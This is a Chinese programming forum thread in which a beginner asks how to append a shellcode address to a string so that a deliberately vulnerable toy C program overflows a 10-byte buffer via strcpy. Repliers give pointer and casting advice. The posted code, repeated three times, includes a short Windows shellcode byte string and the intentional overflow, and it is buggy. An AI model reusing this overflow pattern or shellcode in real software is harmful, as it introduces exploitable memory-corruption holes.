| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 742 人关注过本帖
标题:【求助】如何在字符窜后面接上一个地址
只看楼主 加入收藏
gpp6025
Rank: 1
等 级:新手上路
帖 子:57
专家分:0
注 册:2010-7-8
结帖率:84.62%
收藏
已结贴  问题点数:20 回复次数:6 
【求助】如何在字符窜后面接上一个地址
在一个字符串后面接上一个地址,问题是用指针得到地址然后用strcat()函数连接起来是数据类型不对,指针是32位整形,接在一个字符窜后面出错了,还有就是指针怎么引用本身呢?(就是怎么用这个地址,而不是指针指向的内容 :比如int *pointe;*pointe=123;要用123所在的内存地址也就是pointer这个指针要怎么用?&pointer这样用吗??)要怎么解决这2个问题啊??
望各位路过的大哥大姐们帮个忙~~
小弟在这谢谢了~~
=======================================================================================
重新说下问题~~ 求助~~~~~~~!!!!!!!!!!!!!!
第一个问题我用了另外一个指针在指向来到达我的目的,但是问题也出来了
这个小程序本身存在溢出问题,溢出点也定位出来了在over[]第十七个位置,所在over第十七个位置开始应该填写shellcode的地址对应的字符,但是问题是strcat(over,ret);函数接受的是char,就是说我要把ret指向的指针改成字符我尝试用strcat(over,(char)ret);出错了,所以我想可能是我这里面的地址被我转错了吧,或者还是其他什么问题???

#include "stdio.h"
#include <windows.h>
char shellcode[]="\x33\xDB\x53\x53\x53\x53\xB8\xEA\x04\xD5\x77\xFF\xD0";
void main()
{
    char sz[10],over[50];
    char endj='\0';
    int flate=0;
    LoadLibrary("user32.dll");
    char *pointe;
    pointe=shellcode;
    int *ret;
    *ret=(int)pointe;
    printf("the shellcode addr is %d \n",pointe);
    printf("input the char \n");
    for (int j=0;j<17;j++)//前十七个for循环自己填充
    {
        over[j]='a';
    }
    strcat(over,ret);
    for (unsigned int i=0;over[i]!=endj;i++);//输入的字符个数统计
    if (i<10) //是否溢出提示
    {
        printf("the value input has %d \n",i);
        printf("the pro is UNoverflow \n");
    }
    strcpy(sz,over);
    return;
}

[ 本帖最后由 gpp6025 于 2010-8-11 11:17 编辑 ]
搜索更多相关主题的帖子: 大哥大 字符串 如何 
2010-08-11 07:33
erikyo
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:2
帖 子:270
专家分:1154
注 册:2010-6-10
收藏
得分:10 
如果是因为数据类型不一致无法使用strcat连接的话,
可以自己编写一个itoa函数,实现把整形数据转化为字符串的功能,
然后再连接就可以了。

另外你说的第二个问题,其实很简单,指针的值就是它本身啊,不用取地址也不用使用引用符。
也就是你举的例子里面的point本身。
2010-08-11 09:13
do8do8do8
Rank: 10Rank: 10Rank: 10
来 自:沙滩
等 级:贵宾
威 望:17
帖 子:366
专家分:1845
注 册:2010-7-2
收藏
得分:10 
1.int *pointe;*pointe=123; 这样用pointer没有被初始化,指向很乱,123是常量 也就是立即数。
2.strcat的参数的类型是 char * 是字符型。
3.要以指针引用地址:指针是用来存放地址的,如int a=1;int *p; p=&a;这时候p里就有了1的地址。想用到1的地址,那么直接用p或者&a就可以。
4.指针引用本身?指针的值是个地址,指针的本身也是个地址,指针引用本身那么就是对指针的本身的取址,在指针前面加&就可以。
例子:
int a=1;
int *p=&a;
printf("%x\n",p);这个就是地址。


学C语言从底层开始,学编程从问题开始,一日学会C!!!
2010-08-11 09:37
gpp6025
Rank: 1
等 级:新手上路
帖 子:57
专家分:0
注 册:2010-7-8
收藏
得分:0 
回复 2楼 erikyo
第一个问题我用了另外一个指针在指向来到达我的目的,但是问题也出来了
这个小程序本身存在溢出问题,溢出点也定位出来了在over[]第十七个位置,所在over第十七个位置开始应该填写shellcode的地址对应的字符,但是问题是strcat(over,ret);函数接受的是char,就是说我要把ret指向的指针改成字符我尝试用strcat(over,(char)ret);出错了~~跳到了一个0xcccccc的位置不是shellcode位置。所以我想可能是我这里面的地址被我转错了吧?

#include "stdio.h"
#include <windows.h>
char shellcode[]="\x33\xDB\x53\x53\x53\x53\xB8\xEA\x04\xD5\x77\xFF\xD0";
void main()
{
    char sz[10],over[50];
    char endj='\0';
    int flate=0;
    LoadLibrary("user32.dll");
    char *pointe;
    pointe=shellcode;
    int *ret;
    *ret=(int)pointe;
    printf("the shellcode addr is %d \n",pointe);
    printf("input the char \n");
    for (int j=0;j<17;j++)//前十七个for循环自己填充
    {
        over[j]='a';
    }
    strcat(over,ret);
    for (unsigned int i=0;over[i]!=endj;i++);//输入的字符个数统计
    if (i<10) //是否溢出提示
    {
        printf("the value input has %d \n",i);
        printf("the pro is UNoverflow \n");
    }
    strcpy(sz,over);
    return;
}
2010-08-11 11:06
gpp6025
Rank: 1
等 级:新手上路
帖 子:57
专家分:0
注 册:2010-7-8
收藏
得分:0 
回复 3楼 do8do8do8
第一个问题我用了另外一个指针在指向来到达我的目的,但是问题也出来了
这个小程序本身存在溢出问题,溢出点也定位出来了在over[]第十七个位置,所在over第十七个位置开始应该填写shellcode的地址对应的字符,但是问题是strcat(over,ret);函数接受的是char,就是说我要把ret指向的指针改成字符我尝试用strcat(over,(char)ret);出错了~~跳到了一个0xcccccc的位置不是shellcode位置。所以我想可能是我这里面的地址被我转错了吧?

#include "stdio.h"
#include <windows.h>
char shellcode[]="\x33\xDB\x53\x53\x53\x53\xB8\xEA\x04\xD5\x77\xFF\xD0";
void main()
{
    char sz[10],over[50];
    char endj='\0';
    int flate=0;
    LoadLibrary("user32.dll");
    char *pointe;
    pointe=shellcode;
    int *ret;
    *ret=(int)pointe;
    printf("the shellcode addr is %d \n",pointe);
    printf("input the char \n");
    for (int j=0;j<17;j++)//前十七个for循环自己填充
    {
        over[j]='a';
    }
    strcat(over,ret);
    for (unsigned int i=0;over[i]!=endj;i++);//输入的字符个数统计
    if (i<10) //是否溢出提示
    {
        printf("the value input has %d \n",i);
        printf("the pro is UNoverflow \n");
    }
    strcpy(sz,over);
    return;
}
2010-08-11 11:06
do8do8do8
Rank: 10Rank: 10Rank: 10
来 自:沙滩
等 级:贵宾
威 望:17
帖 子:366
专家分:1845
注 册:2010-7-2
收藏
得分:0 
int *ret;
    *ret=(int)pointe;
这一步 想做什么?
第一不对:*ret指向的是一个整型数值,(*ret)可是所是一个整型变量 而pointe的类型是char*,可是(int)pointe这么进行操作后把char* 强制转换成(int)类型
而pointe 本来是存放的是数组的首地址:
如果要改 这样:
  int *ret;
  ret=(int *)pointe
可是下面用到
strcat  和 strcpy
建议
把int *ret;
  ret=(int *)pointe
改为
  char *ret;
  ret=pointe;

学C语言从底层开始,学编程从问题开始,一日学会C!!!
2010-08-11 13:44
gpp6025
Rank: 1
等 级:新手上路
帖 子:57
专家分:0
注 册:2010-7-8
收藏
得分:0 
回复 6楼 do8do8do8
改为
  char *ret;
  ret=pointe;
刚才试了下,在指针指指针的情况下ret要为二级指针才可以,所以下面的strcat()函数使用又出问题了~~
2010-08-11 19:22
快速回复:【求助】如何在字符窜后面接上一个地址
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.020995 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved